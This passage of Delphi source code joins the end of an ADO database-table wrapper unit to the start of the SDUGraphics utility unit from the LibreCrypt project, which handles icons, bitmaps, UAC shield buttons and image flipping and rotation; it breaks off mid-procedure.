{ ThtDbTable } constructor ThtDbTable.Create(inOwner: TComponent); begin inherited; FAdoTable := TAdoTable.Create(Self); FColumns := TStringList.Create; end; destructor ThtDbTable.Destroy; begin FColumns.Free; inherited; end; function ThtDbTable.GetColumns: TStrings; begin Result := FColumns; end; procedure ThtDbTable.SetColumns(const Value: TStrings); begin FColumns.Assign(Value); end; procedure ThtDbTable.SetDb(const Value: ThtDb); begin if FDb <> Value then begin if FDb <> nil then FDb.RemoveUser(Self); FDb := Value; if FDb <> nil then FDb.AddUser(Self); UpdateTable; end; end; procedure ThtDbTable.Notification(AComponent: TComponent; Operation: TOperation); begin inherited; if Operation = opRemove then if AComponent = FDb then FDb := nil; end; function ThtDbTable.GetActive: Boolean; begin Result := AdoTable.Active; // Result := (Db <> nil) and Db.Active; end; procedure ThtDbTable.SetActive(const Value: Boolean); begin AdoTable.Active := Value; // if (Db <> nil) and Value then // Db.Connected := Value; end; function ThtDbTable.GetTableName: string; begin Result := AdoTable.TableName; end; procedure ThtDbTable.SetTableName(const Value: string); begin AdoTable.TableName := Value; UpdateTable; end; procedure ThtDbTable.DBChange(var inMessage: TMessage); begin UpdateTable; end; procedure ThtDbTable.UpdateTable; begin Active := false; if Db = nil then AdoTable.Connection := nil else begin AdoTable.Connection := Db.AdoConnection; Active := true; UpdateColumns; end; end; procedure ThtDbTable.UpdateColumns; begin if Active and (Columns.Count = 0) then Columns.Assign(AdoTable.FieldList); end; end.
unit SDUGraphics; // Description: Sarah Dean's Graphics Utils // By Sarah Dean // Email: sdean12@sdean12.org // WWW: http://www.SDean12.org/ // // ----------------------------------------------------------------------------- // interface uses forms, controls, stdctrls, ExtCtrls, Windows, // Required for TWIN32FindData in ConvertSFNPartToLFN, and THandle classes, comctrls, // Required in SDUEnableControl to enable/disable TRichedit controls dialogs, // Required for SDUOpenSaveDialogSetup graphics, // Required for TFont ShlObj, // Required for SHChangeNotify and SHGetSpecialFolderLocation ActiveX, // Required for IMalloc Buttons, // Required for TBitBtn ActnList, // Required for TAction SysUtils; const // "Shield" icon ID for Windows Vista UAC_IDI_SHIELD = 32518; BCM_FIRST = $1600; // Button control messages BCM_SETSHIELD = (BCM_FIRST + $000C); DLL_SHELL32 = 'shell32.dll'; DLL_SHELL32_DEFAULT_FILE = 0; DLL_SHELL32_FOLDER_CLOSED = -4; DLL_SHELL32_FOLDER_OPEN = -5; DLL_SHELL32_HDD = -9; DLL_SHELL32_REMOVABLE = -10; DLL_SHELL32_MULTIPLE_FILES = -133; DLL_SHELL32_MAGNIFYING_GLASS = -323; DLL_SHELL32_GO_ICON = -290; // WARNING: This list probably isn't exhaustive - later versions of Windows // may have more! // This list appears to be more complete, but doesn't use -ve numbers?! SI_UNKNOWN = 00; // Unknown File Type SI_DEF_DOCUMENT = 01; // Default document SI_DEF_APPLICATION = 02; // Default application SI_FOLDER_CLOSED = 03; // Closed folder SI_FOLDER_OPEN = 04; // Open folder SI_FLOPPY_514 = 05; // 5 1/4 floppy SI_FLOPPY_35 = 06; // 3 1/2 floppy SI_REMOVABLE = 07; // Removable drive SI_HDD = 08; // Hard disk drive SI_NETWORKDRIVE = 09; // Network drive SI_NETWORKDRIVE_DISCONNECTED = 10; // Network drive offline SI_CDROM = 11; // CDROM drive SI_RAMDISK = 12; // RAM disk SI_NETWORK = 13; // Entire network // ??? = 14; // Network Pipes SI_MYCOMPUTER = 15; // My Computer SI_PRINTMANAGER = 16; // Printer Manager SI_NETWORK_NEIGHBORHOOD = 17; // Network Neighborhood SI_NETWORK_WORKGROUP = 18; // Network Workgroup SI_STARTMENU_PROGRAMS = 19; // Start Menu Programs SI_STARTMENU_DOCUMENTS = 20; // Start Menu Documents SI_STARTMENU_SETTINGS = 21; // Start Menu Settings SI_STARTMENU_FIND = 22; // Start Menu Find SI_STARTMENU_HELP = 23; // Start Menu Help SI_STARTMENU_RUN = 24; // Start Menu Run SI_STARTMENU_SUSPEND = 25; // Start Menu Suspend SI_STARTMENU_DOCKING = 26; // Start Menu Docking SI_STARTMENU_SHUTDOWN = 27; // Start Menu Shutdown SI_SHARE = 28; // Sharing overlay (hand) SI_SHORTCUT = 29; // Shortcut overlay (small arrow) SI_PRINTER_DEFAULT = 30; // Default printer overlay (small tick) SI_RECYCLEBIN_EMPTY = 31; // Recycle bin empty SI_RECYCLEBIN_FULL = 32; // Recycle bin full SI_DUN = 33; // Dial-up Network Folder SI_DESKTOP = 34; // Desktop SI_CONTROLPANEL = 35; // Control Panel SI_PROGRAMGROUPS = 36; // Program Group SI_PRINTER = 37; // Printer SI_FONT = 38; // Font Folder SI_TASKBAR = 39; // Taskbar SI_AUDIO_CD = 40; // Audio CD // ??? = 41; // ??? // ??? = 42; // ??? SI_FAVORITES = 43; // IE favorites SI_LOGOFF = 44; // Start Menu Logoff // ??? = 45; // ??? // ??? = 46; // ??? SI_LOCK = 47; // Lock SI_HIBERNATE = 48; // Hibernate // 49; // ????? // 50; // ????? // 51; // ????? // 52; // ????? // 53; // Drive with red question mark // 54; // Multiple blank documents // 55; // Search files icon (document with magnifying glass) // 56; // Search computer icon (PC with magnifying glass) // 57; // Control panel icon // 58; // Printer // 59; // Print document // 60; // Network printer // 61; // Printer to file // 62; // Recycle bin with document // 63; // Recycle bin with folder // 64; // Recycle bin with document and folder // 65; // File to file??? // 66; // Old move icon? // 67; // Rename? // 68; // ????? // 69; // Settings file (text file) // 70; // Text file // 71; // Application // 72; // Settings file (binary file) // 73; // Font file // 73; // Truetype font file // 75; // Adobe(?) font file // 76; // Run prompt // 77; // Shred file/folders // 78; // Save to HDD DLL_SHELL32_SCANDISK = 79; // Scandisk // 80; // Windows Write file // AVI animations... DLL_SHELL32_AVI_SEARCHING = 150; //Searching torch DLL_SHELL32_AVI_FIND_FILE = 151; //Find file DLL_SHELL32_AVI_FIND_COMPUTER = 152; //Find computer // 153 - 159 are unused DLL_SHELL32_AVI_MOVE_FILES = 160; //Move files DLL_SHELL32_AVI_COPY_FILE = 161; //Copy file DLL_SHELL32_AVI_DELETE_TO_RECYCLE_BIN = 162; //Delete file to recycle bin DLL_SHELL32_AVI_EMPTY_RECYCLE_BIN = 163; //Empty recycle bin DLL_SHELL32_AVI_DELETE_FILE = 164; //Delete file DLL_SHELL32_AVI_CHECK_FILES = 165; //Check files??? DLL_SHELL32_AVI_SEARCH_INTERNET = 166; //Search internet??? DLL_SHELL32_AVI_OLD_MOVE_FILES = 167; //Move files (old animation) DLL_SHELL32_AVI_OLD_COPY_FILE = 168; //Copy file (old animation) DLL_SHELL32_AVI_OLD_DELETE_FILE = 169; //Delete file (old animation) DLL_SHELL32_AVI_OLD_SAVE_FILE_FROM_INTERNET = 170; //Save file from internet (old animation) DLL_SCARDDLG = 'scarddlg.dll'; DLL_SCARDDLG_RES_SLOT_NO_TOKEN = -142; DLL_SCARDDLG_RES_SLOT_WITH_TOKEN = -143; type TImageFlip = (ifNone, ifVertical, ifHorizontal, ifBoth); TImageRotate = (rot0, rot90, rot180, rot270); // Convert from TColor to it's RGB components procedure SDUColorToRGB(color: TColor; var Red, Green, Blue: integer); // Convert RGB values to TColor function SDURGBToColor(Red, Green, Blue: integer): TColor; // "Ghost" the "srcIcon", setting "destIcon" to a "ghosted" version // normalIcon - Set to TRUE to process as 32x32 icon, FALSE to process as // 16x16 icon procedure SDUMakeIconGhosted(srcIcon: TIcon; destIcon: TIcon; normalIcon: boolean); // Greyscale the specified image procedure SDUImageGrayscale(image: TBitmap); // Flip image horizontally/vertically/both // IMPORTANT: Currently only supports images with .PixelFormat set to one of: // pf1bit, pf4bit, pf8bit or pf24bit procedure SDUImageFlip(image: TBitmap; invert: TImageFlip); overload; procedure SDUImageFlip(image: TIcon; invert: TImageFlip); overload; // Rotate image *clockwise* by specified amount procedure SDUImageRotate(image: TBitmap; rotate: TImageRotate); overload; procedure SDUImageRotate(image: TIcon; rotate: TImageRotate); overload; // Set bitmap to be mask of icon procedure SDUCreateMaskFromIcon( Icon: TIcon; IconWidth: integer; IconHeight: integer; var MaskBitmap: TBitmap ); // Set all pixels in image which are masked off (i.e. not in the mask) to black // i.e. All white pixels in the mask will have their corresponding pixel in the // image set to black procedure SDUSetMaskedOffToBlack( Bitmap: TBitmap; MaskBitmap: TBitmap ); // Convert bitmap to icon // Note: Must supply "Icon"; this function doens't create one function SDUConvertBitmapToIcon( Bitmap: TBitmap; TransparentColor: TColor; Icon: TIcon ): boolean; overload; function SDUConvertBitmapToIcon( Bitmap: TBitmap; MaskBitmap: TBitmap; Icon: TIcon ): boolean; overload; // Convert icon to bitmap // Sets Bitmap and MaskBitmap to be the bitmap and mask of the icon passed in procedure SDUConvertIconToBitmap( Icon: TIcon; Bitmap: TBitmap; MaskBitmap: TBitmap ); overload; procedure SDUConvertIconToBitmap( Icon: TIcon; IconWidth: integer; IconHeight: integer; Bitmap: TBitmap; MaskBitmap: TBitmap ); overload; // Takes a 16x16 icon (misreported as 32x32 by Delphi's TIcon), and return // 16x16 bitmap and mask procedure SDUConvertIconToBitmap_16x16( Icon: TIcon; Bitmap: TBitmap; MaskBitmap: TBitmap ); // Overlay "OverlayIcon" on top of "MainIcon" // Defaults to positioning the overlay icon on the bottom right of the main // icon procedure SDUOverlayIcon( MainIcon: TIcon; OverlayIcon: TIcon ); overload; procedure SDUOverlayIcon( MainIcon: TIcon; OverlayIcon: TIcon; OverlayWidth: integer; OverlayHeight: integer ); overload; procedure SDUOverlayIcon( MainIcon: TIcon; OverlayIcon: TIcon; OverlayPosX: integer; OverlayPosY: integer; OverlayWidth: integer; OverlayHeight: integer ); overload; // Load icons from file function SDULoadDLLIcon(dllFilename: string; getSmallIcon: boolean; iconIdx: integer; icon: TIcon): boolean; function SDULoadDLLIconToList(dllFilename: string; getSmallIcon: boolean; iconIdx: integer; imgList: TImageList): integer; function SDULoadAllDLLIconsToList(dllFilename: string; getSmallIcons: boolean; imgList: TImageList): integer; // Remova a Windows Vista "Shield" icon to a TButton procedure SDUClearUACShieldIcon(button: TButton); // Add a Windows Vista "Shield" icon to a TButton procedure SDUSetUACShieldIcon(button: TButton); overload; // Add a Windows Vista "Shield" icon to a TBitBtn (this is hacky) procedure SDUSetUACShieldIcon(button: TBitBtn); overload; (* TDK change - compile errors in XE and not used in LibreCrypt project so comment out // Draw a piechart on the specified canvas within specified bounds procedure SDUSimplePieChart( ACanvas: TCanvas; Bounds: TRect; Percent: integer; ColourFg: TColor = clRed; ColorBg: TColor = clGreen ); *) implementation uses ShellAPI, // Required for SDUShowFileProperties {$IFDEF MSWINDOWS} {$WARN UNIT_PLATFORM OFF} // Useless warning about platform - we're already // protecting against that! FileCtrl, // Required for TDriveType {$WARN UNIT_PLATFORM ON} {$ENDIF} registry, SDUProgressDlg, SDUDialogs, SDUi18n, Spin64, // Required for TSpinEdit64 Math, // Required for Power(...) SDUWindows64, SDUSpin64Units, SDUGeneral; (* TDK change - compile errors in XE and not used in LibreCrypt project so comment out // ---------------------------------------------------------------------------- // Draw a piechart on the specified canvas within specified bounds procedure SDUSimplePieChart( ACanvas: TCanvas; Bounds: TRect; Percent: integer; ColourFg: TColor = clRed; ColorBg: TColor = clGreen ); var centerVert, certHoriz: integer; Th: double; a, o: double; begin // Draw entire "pie" if (Percent >= 100) then begin ACanvas.brush.color := ColourFg; end else begin ACanvas.brush.color := ColorBg; end; ACanvas.ellipse(Bounds); // We only draw a slice if there's a slice to be drawn (e.g. it's not zero, // or the entire pie) if ( (Percent > 0) and (Percent < 100) ) then begin // Calculate slice Th := (Percent/100) * (2 * pi); // Convert percentage into radians a := sin(Th) * 100; o := cos(Th) * 100; centerVert := Bounds.top + ((Bounds.bottom-Bounds.top) div 2); certHoriz := Bounds.left + ((Bounds.right-Bounds.left) div 2); // Draw slice ACanvas.brush.color := ColourFg; ACanvas.pie( // Bounds of entire pie Bounds.left, Bounds.top, Bounds.right, Bounds.bottom, // X, Y of first line from center certHoriz + round(a), centerVert + -round(o), // We subtract "o" as co-ordinate Y=0 // it at the top, Y=100 is at the bottom // X, Y of top center of the pie Bounds.left + ((Bounds.right-Bounds.left) div 2), Bounds.top, ); end; end; *) // ---------------------------------------------------------------------------- // Add a Windows Vista "Shield" icon to a TButton procedure SDUSetUACShieldIcon(button: TButton); begin if SDUOSVistaOrLater() then begin SendMessage(button.handle, BCM_SETSHIELD, 0, 1); end; end; // ---------------------------------------------------------------------------- // Remova a Windows Vista "Shield" icon to a TButton procedure SDUClearUACShieldIcon(button: TButton); begin if SDUOSVistaOrLater() then begin SendMessage(button.handle, BCM_SETSHIELD, 0, 0); end; end; // ---------------------------------------------------------------------------- // Add a Windows Vista "Shield" icon to a TBitBtn // Returns TRUE if shield added successfully, FALSE if not (or if not needed; // e.g. pre Windows Vista OS) procedure SDUSetUACShieldIcon(button: TBitBtn); var iconAsBitmap: TBitmap; resizedBitmap: TBitmap; iconHandle: HICON; anIcon: TIcon; tmpRect: TRect; begin if SDUOSVistaOrLater() then begin // For testing purposes, use the executable's icon... // iconHandle := ExtractIcon(HInstance, PChar(ParamStr(0)), 0); iconHandle := LoadImage( 0, PChar(UAC_IDI_SHIELD), IMAGE_ICON, 16, 16, (LR_CREATEDIBSECTION or LR_SHARED) // (LR_CREATEDIBSECTION or LR_LOADTRANSPARENT or LR_SHARED) ); if (iconHandle <> 0) then begin anIcon:= TIcon.Create(); iconAsBitmap:= TBitmap.Create(); resizedBitmap:= TBitmap.Create(); try // Setup out TIcon... anIcon.ReleaseHandle(); iconAsBitmap.ReleaseHandle(); anIcon.handle := iconHandle; // Convert to bitmap... iconAsBitmap.Width := anIcon.Width; iconAsBitmap.Height := anIcon.Height; tmpRect := Rect(0, 0, iconAsBitmap.Width, iconAsBitmap.Height); iconAsBitmap.Canvas.Brush.Color := clBtnFace; iconAsBitmap.Canvas.FillRect(tmpRect); iconAsBitmap.Canvas.CopyMode := cmSrcCopy; iconAsBitmap.Canvas.Draw(0, 0, anIcon); // Resize small enough... resizedBitmap.Width := 16; resizedBitmap.Height := 16; tmpRect := Rect(0, 0, resizedBitmap.Width, resizedBitmap.Height); resizedBitmap.Canvas.StretchDraw(tmpRect, iconAsBitmap); // Set graphic on button... button.Glyph.Assign(resizedBitmap); // Release unused handle... anIcon.ReleaseHandle(); DestroyIcon(iconHandle); finally resizedBitmap.Free(); iconAsBitmap.Free(); anIcon.Free(); end; end; end; // end; // ---------------------------------------------------------------------------- // Load icon from file // icon - This will be set to the loaded icon // iconIdx - Indexed from 0; or -ve number for resource ID function SDULoadDLLIcon(dllFilename: string; getSmallIcon: boolean; iconIdx: integer; icon: TIcon): boolean; var iconHandleSmall: HICON; iconHandleLarge: HICON; iconHandleUse: HICON; iconHandleUnused: HICON; iconsExtracted: integer; begin Result:= FALSE; iconsExtracted:= ExtractIconEx( PChar(dllFilename), iconIdx, // 0 indexed iconHandleLarge, iconHandleSmall, 1 ); if (iconsExtracted > 0) then begin iconHandleUse := iconHandleLarge; iconHandleUnused := iconHandleSmall; if getSmallIcon then begin iconHandleUse := iconHandleSmall; iconHandleUnused := iconHandleLarge; end; if (iconHandleUse <> 0) then begin // Dump old handle icon.ReleaseHandle(); icon.handle := iconHandleUse; // Unload unused small/large icon DestroyIcon(iconHandleUnused); Result := TRUE; end; end; end; // ---------------------------------------------------------------------------- // Load icon from file, and add it to the specified imagelist // iconIdx - Indexed from 0; or -ve number for resource ID // Returns the ImageIndex of the icon added to imgList, or -1 on error function SDULoadDLLIconToList(dllFilename: string; getSmallIcon: boolean; iconIdx: integer; imgList: TImageList): integer; var tmpIcon: TIcon; begin Result:= -1; tmpIcon:= TIcon.Create(); try if SDULoadDLLIcon(dllFilename, getSmallIcon, iconIdx, tmpIcon) then begin { if (ilToolbarIcons.Width < tmpIcon.Width) then begin ilToolbarIcons.Width := tmpIcon.Width; end; if (ilToolbarIcons.Height < tmpIcon.Height) then begin ilToolbarIcons.Height := tmpIcon.Height; end; } Result := imgList.AddIcon(tmpIcon); end; finally tmpIcon.Free(); end; end; // ---------------------------------------------------------------------------- // Load all icons from file, adding them to the imagelist supplied // Returns the number of icons added function SDULoadAllDLLIconsToList(dllFilename: string; getSmallIcons: boolean; imgList: TImageList): integer; var dllIconIdx: integer; lastImgListIdx: integer; begin dllIconIdx := 0; repeat lastImgListIdx := SDULoadDLLIconToList(dllFilename, getSmallIcons, dllIconIdx, imgList); if (lastImgListIdx >= 0) then begin inc(dllIconIdx); end; until (lastImgListIdx < 0); Result := dllIconIdx; end; // ---------------------------------------------------------------------------- function SDUConvertBitmapToIcon( Bitmap: TBitmap; MaskBitmap: TBitmap; Icon: TIcon ): boolean; var IconInfo: TIconInfo; begin IconInfo.fIcon:= True; IconInfo.hbmColor:= Bitmap.Handle; IconInfo.hbmMask:= MaskBitmap.Handle; // IconInfo.hbmMask:= MaskBitmap.MaskHandle; // Icon handle is going to be replaced; dump existing handle Icon.ReleaseHandle(); Icon.Handle:= CreateIconIndirect(IconInfo); Result := (Icon.Handle <> 0); end; // ---------------------------------------------------------------------------- function SDUConvertBitmapToIcon( Bitmap: TBitmap; TransparentColor: TColor; Icon: TIcon ): boolean; var allOK: boolean; imgList: TImageList; begin allOK := FALSE; imgList := TImageList.CreateSize(Bitmap.Width, Bitmap.Height); try imgList.AllocBy := 1; imgList.AddMasked(Bitmap, TransparentColor); try imgList.GetIcon(0, Icon); allOK := TRUE; except // Swallow the exception; we just return FALSE end; finally imgList.Free; end; Result := allOK; end; // ---------------------------------------------------------------------------- // clBlack = the masked area procedure SDUCreateMaskFromIcon( Icon: TIcon; IconWidth: integer; IconHeight: integer; var MaskBitmap: TBitmap ); var iconMaskCompare_1: TBitmap; iconMaskCompare_2: TBitmap; x: integer; y: integer; begin iconMaskCompare_1:= TBitmap.Create(); iconMaskCompare_2:= TBitmap.Create(); try // Dubious - can't use width and height from the icon as it can be misreported(?!) // as 32x32 for a 16x16 icon iconMaskCompare_1.Width := IconWidth; iconMaskCompare_1.Height := IconHeight; iconMaskCompare_1.Monochrome := TRUE; iconMaskCompare_1.Transparent := TRUE; iconMaskCompare_1.TransparentColor := clBlack; iconMaskCompare_1.Canvas.Brush.Color := clBlack; iconMaskCompare_1.Canvas.FillRect(Rect(0, 0, iconMaskCompare_1.Width, iconMaskCompare_1.Height)); DrawIcon(iconMaskCompare_1.Canvas.Handle, 0, 0, Icon.handle); iconMaskCompare_2.Width := IconWidth; iconMaskCompare_2.Height := IconHeight; iconMaskCompare_2.Monochrome := TRUE; iconMaskCompare_2.Transparent := TRUE; iconMaskCompare_2.TransparentColor := clWhite; iconMaskCompare_2.Canvas.Brush.Color := clWhite; iconMaskCompare_2.Canvas.FillRect(Rect(0, 0, iconMaskCompare_2.Width, iconMaskCompare_2.Height)); DrawIcon(iconMaskCompare_2.Canvas.Handle, 0, 0, Icon.handle); MaskBitmap.Width := IconWidth; MaskBitmap.Height := IconHeight; MaskBitmap.PixelFormat := pf1bit; MaskBitmap.Monochrome := TRUE; MaskBitmap.Canvas.Brush.Color := clBlack; MaskBitmap.Canvas.FillRect(Rect(0, 0, MaskBitmap.Width, MaskBitmap.Height)); // Mark all areas which were transparent as clWhite for x:=0 to (MaskBitmap.Width - 1) do begin for y:=0 to (MaskBitmap.Height - 1) do begin if ( (iconMaskCompare_1.Canvas.Pixels[x, y] = clBlack) and (iconMaskCompare_2.Canvas.Pixels[x, y] = clWhite) ) then begin MaskBitmap.Canvas.Pixels[x, y] := clWhite; end; end; end; finally iconMaskCompare_2.Free(); iconMaskCompare_1.Free(); end; end; // ---------------------------------------------------------------------------- procedure SDUOverlayIcon( MainIcon: TIcon; OverlayIcon: TIcon ); begin SDUOverlayIcon(MainIcon, OverlayIcon, OverlayIcon.width, OverlayIcon.height); end; // ---------------------------------------------------------------------------- procedure SDUOverlayIcon( MainIcon: TIcon; OverlayIcon: TIcon; OverlayWidth: integer; OverlayHeight: integer ); begin // Align the overlay to the bottom right of the main icon SDUOverlayIcon( MainIcon, OverlayIcon, (MainIcon.Width - OverlayWidth), (MainIcon.Height - OverlayHeight), OverlayWidth, OverlayHeight ); end; // ---------------------------------------------------------------------------- procedure SDUOverlayIcon( MainIcon: TIcon; OverlayIcon: TIcon; OverlayPosX: integer; OverlayPosY: integer; OverlayWidth: integer; OverlayHeight: integer ); var maskMain: TBitmap; maskOverlay: TBitmap; combinedMask: TBitmap; combinedBitmap: TBitmap; x: integer; y: integer; begin combinedBitmap:= TBitmap.Create(); combinedMask:= TBitmap.Create(); try // Create bitmap consisting of main icon, with overlay icon placed on top // of it SDUConvertIconToBitmap( MainIcon, MainIcon.Width, MainIcon.Height, combinedBitmap, nil ); combinedBitmap.Canvas.Brush.Style := bsClear; // Set the pixel format on the combined image, otherwise the overlay icon // *may* simply overwrite the main icon's image completely *when the icon // is created* // Without this, the "combinedBitmap" is shown correctly when used on a // TImage control, but the icon created from the call to // SDUConvertBitmapToIcon(...) may only show the overlay icon alone, // without any of the main icon underneath it // (Seen when overlaying a normal icon with a Windows standard icon) combinedBitmap.pixelformat := pf24bit; DrawIcon( combinedBitmap.Canvas.Handle, OverlayPosX, OverlayPosY, OverlayIcon.handle ); // Combine icon masks to generate a main icon + overlay icon mask maskMain:= TBitmap.Create(); maskOverlay:= TBitmap.Create(); try SDUCreateMaskFromIcon(MainIcon, MainIcon.Width, MainIcon.Width, maskMain); SDUCreateMaskFromIcon(OverlayIcon, OverlayWidth, OverlayHeight, maskOverlay); combinedMask.Width := maskMain.Width; combinedMask.Height := maskMain.Height; combinedMask.Pixelformat := pf1bit; combinedMask.Monochrome := TRUE; combinedMask.Canvas.Brush.Color := clWhite; combinedMask.Canvas.FillRect(Rect(0, 0, combinedMask.Width, combinedMask.Height)); for x:=0 to (OverlayWidth - 1) do begin for y:=0 to (OverlayHeight - 1) do begin if ( (maskMain.Canvas.Pixels[OverlayPosX+x, OverlayPosY+y] = clBlack) or (maskOverlay.Canvas.Pixels[x, y] = clBlack) ) then begin combinedMask.Canvas.Pixels[OverlayPosX+x, OverlayPosY+y] := clBlack; end else begin // Set masked off pixels in *image* to black, otherwise they are // inverted when displayed (e.g. red is shown as cyan) combinedBitmap.Canvas.Pixels[OverlayPosX+x, OverlayPosY+y] := clBlack; end; end; end; finally maskOverlay.Free(); maskMain.Free(); end; SDUConvertBitmapToIcon( combinedBitmap, combinedMask, MainIcon ); finally combinedMask.Free(); combinedBitmap.Free(); end; end; // ---------------------------------------------------------------------------- procedure SDUConvertIconToBitmap( Icon: TIcon; Bitmap: TBitmap; MaskBitmap: TBitmap ); begin SDUConvertIconToBitmap( Icon, Icon.Width, Icon.Height, Bitmap, MaskBitmap ); end; // ---------------------------------------------------------------------------- procedure SDUConvertIconToBitmap( Icon: TIcon; IconWidth: integer; IconHeight: integer; Bitmap: TBitmap; MaskBitmap: TBitmap ); begin if (MaskBitmap <> nil) then begin SDUCreateMaskFromIcon(Icon, IconWidth, IconHeight, MaskBitmap); end; Bitmap.Width := IconWidth; Bitmap.Height := IconHeight; Bitmap.Canvas.Draw(0, 0, Icon); end; // ---------------------------------------------------------------------------- procedure SDUConvertIconToBitmap_16x16( Icon: TIcon; Bitmap: TBitmap; MaskBitmap: TBitmap ); var resizedBitmap: TBitmap; tmpRect: TRect; begin SDUConvertIconToBitmap( Icon, 32, // Treat as 32x32 to produce mask which looks OK, 32, // but scaled up to 32x32 Bitmap, MaskBitmap ); resizedBitmap := tbitmap.create(); Bitmap.Width := 15; Bitmap.Height := 15; // The *mask* - but *NOT* the bitmap must be *resized* to 16x16 // Resize small enough... resizedBitmap.Width := 16; resizedBitmap.Height := 16; resizedBitmap.Pixelformat := pf1bit; resizedBitmap.Monochrome := TRUE; resizedBitmap.Canvas.Brush.Color := clWhite; tmpRect := Rect(0, 0, resizedBitmap.Width, resizedBitmap.Height); resizedBitmap.Canvas.StretchDraw(tmpRect, MaskBitmap); MaskBitmap.assign(resizedbitmap); end; // ---------------------------------------------------------------------------- procedure _SDUImageFlip_FlipScanlineBits(bytesPerScanLine: integer; inputScanLine: PByteArray; outputScanLine: PByteArray; bytesPerPixel: integer); var x: integer; tmpByte: byte; begin for x := 0 to (bytesPerScanLine - 1) do begin tmpByte := inputScanLine[((bytesPerScanLine - 1) - x)]; if (bytesPerPixel = 2) then begin tmpByte := (tmpByte shr 4) + (tmpByte shl 4); end else if (bytesPerPixel = 8) then begin tmpByte := ( ((tmpByte and $80) shr 7) + ((tmpByte and $40) shr 5) + ((tmpByte and $20) shr 3) + ((tmpByte and $10) shr 1) + ((tmpByte and $08) shl 1) + ((tmpByte and $04) shl 3) + ((tmpByte and $02) shl 5) + ((tmpByte and $01) shl 7) ); end; outputScanLine[x] := tmpByte; end; end; procedure _SDUImageFlip_FlipScanlineBytes(imgWidthInPixels: integer; bytesPerPixel: integer; inputScanLine: PByteArray; outputScanLine: PByteArray); var x: integer; i: integer; begin for x := 0 to (imgWidthInPixels - 1) do begin for i:=0 to (bytesPerPixel-1) do begin outputScanLine[(x*bytesPerPixel)+i] := inputScanLine[(((imgWidthInPixels - 1) - x) * bytesPerPixel) + i]; end; end; end; // Flip image horizontally/vertically/both procedure SDUImageFlip(image: TBitmap; invert: TImageFlip); var y: integer; sLine: PByteArray; tmpSLine: TByteArray; bytesPerScanLine: integer; begin { - pfDevice The bitmap is stored as a device-dependent bitmap. DONE - pf1bit The bitmap is a device-independent bitmap with one bit per pixel (black and white palette) DONE - pf4bit The bitmap is a device-independent bitmap that uses a 16-color palette. DONE - pf8bit The bitmap is a device-independent bitmap that uses a 256color palette. - pf15bit The bitmap is a device-independent true-color bitmap that uses 15 bits per pixel (RGB compression). - pf16bit The bitmap is a device-independent true-color bitmap that uses 16 bits per pixel (bitfield compression). DONE - pf24bit The bitmap is a device-independent true-color bitmap that uses 24 bits per pixel. DONE - pf32bit The bitmap is a device-independent true-color bitmap that uses 32 bits per pixel (RGB compression). - pfCustom The bitmap uses some other format. TBitmap does not support pfCustom. } bytesPerScanLine := 0; if (image.PixelFormat = pf1bit) then begin bytesPerScanLine := image.Width div 8; end else if (image.PixelFormat = pf4bit) then begin bytesPerScanLine := image.Width div 2; end else if (image.PixelFormat = pf8bit) then begin bytesPerScanLine := image.Width; end else if (image.PixelFormat = pf24bit) then begin bytesPerScanLine := image.Width * 3; end else if (image.PixelFormat = pf32bit) then begin bytesPerScanLine := image.Width * 4; end; if ( (invert = ifVertical) or (invert = ifBoth) ) then begin // div 2 here because we swap two scanlines over each iteration of the // loop for y := 0 to ((image.height div 2) - 1) do begin CopyMemory( @tmpSLine, image.ScanLine[(image.height - y - 1)], bytesPerScanLine ); CopyMemory( image.ScanLine[(image.height - y - 1)], image.ScanLine[y], bytesPerScanLine ); CopyMemory( image.ScanLine[y], @tmpSLine, bytesPerScanLine ); end; end; if ( (invert = ifHorizontal) or (invert = ifBoth) ) then begin { - pfDevice The bitmap is stored as a device-dependent bitmap. DONE - pf1bit The bitmap is a device-independent bitmap with one bit per pixel (black and white palette) DONE - pf4bit The bitmap is a device-independent bitmap that uses a 16-color palette. DONE - pf8bit The bitmap is a device-independent bitmap that uses a 256color palette. - pf15bit The bitmap is a device-independent true-color bitmap that uses 15 bits per pixel (RGB compression). - pf16bit The bitmap is a device-independent true-color bitmap that uses 16 bits per pixel (bitfield compression). DONE - pf24bit The bitmap is a device-independent true-color bitmap that uses 24 bits per pixel. - pf32bit The bitmap is a device-independent true-color bitmap that uses 32 bits per pixel (RGB compression). - pfCustom The bitmap uses some other format. TBitmap does not support pfCustom. } for y := 0 to (image.height - 1) do begin sLine := image.ScanLine[y]; CopyMemory( @tmpSLine, sLine, bytesPerScanLine ); if (image.PixelFormat = pf1bit) then begin _SDUImageFlip_FlipScanlineBits(bytesPerScanLine, @tmpSLine, sLine, 8); end else if (image.PixelFormat = pf4bit) then begin _SDUImageFlip_FlipScanlineBits(bytesPerScanLine, @tmpSLine, sLine, 2); end else if (image.PixelFormat = pf8bit) then begin _SDUImageFlip_FlipScanlineBytes(image.width, 1, @tmpSLine, sLine); end else if (image.PixelFormat = pf24bit) then begin _SDUImageFlip_FlipScanlineBytes(image.width, 3, @tmpSLine, sLine); end end; end; end; procedure SDUImageFlip(image: TIcon; invert: TImageFlip); var Bitmap: TBitmap; MaskBitmap: TBitmap; begin Bitmap:= TBitmap.Create(); MaskBitmap:= TBitmap.Create(); try Bitmap.pixelformat := pf24bit; SDUConvertIconToBitmap(image, Bitmap, MaskBitmap); // This is required... MaskBitmap.pixelformat := pf24bit; SDUImageFlip(Bitmap, invert); SDUImageFlip(MaskBitmap, invert); SDUSetMaskedOffToBlack(bitmap, maskbitmap); SDUConvertBitmapToIcon(Bitmap, MaskBitmap, image); finally MaskBitmap.Free(); Bitmap.Free(); end; end; // ---------------------------------------------------------------------------- procedure SDUImageRotate(image: TBitmap; rotate: TImageRotate); var origImage: TBitmap; x: integer; y: integer; mappedX: integer; mappedY: integer; begin // Short circuit if no changes if (rotate = rot0) then begin // Do nothing to image end else begin origImage:= TBitmap.Create(); try origImage.Assign(image); if ( (rotate = rot90) or (rotate = rot270) ) then begin image.Height := origImage.Width; image.Width := origImage.Height; end; for x := 0 to (origImage.Width - 1) do begin for y := 0 to (origImage.Height - 1) do begin mappedX := x; mappedY := y; case rotate of rot90: begin mappedX := (origImage.Height - y - 1); mappedY := x; end; rot180: begin mappedX := (origImage.Width - x - 1); mappedY := (origImage.Height - y - 1); end; rot270: begin mappedX := y; mappedY := (origImage.Width - x - 1); end; end; image.Canvas.Pixels[mappedX, mappedY] := origImage.Canvas.Pixels[X, Y]; end; end; finally origImage.Free(); end; end; end; procedure SDUImageRotate(image: TIcon; rotate: TImageRotate); var Bitmap: TBitmap; MaskBitmap: TBitmap; begin Bitmap:= TBitmap.Create(); 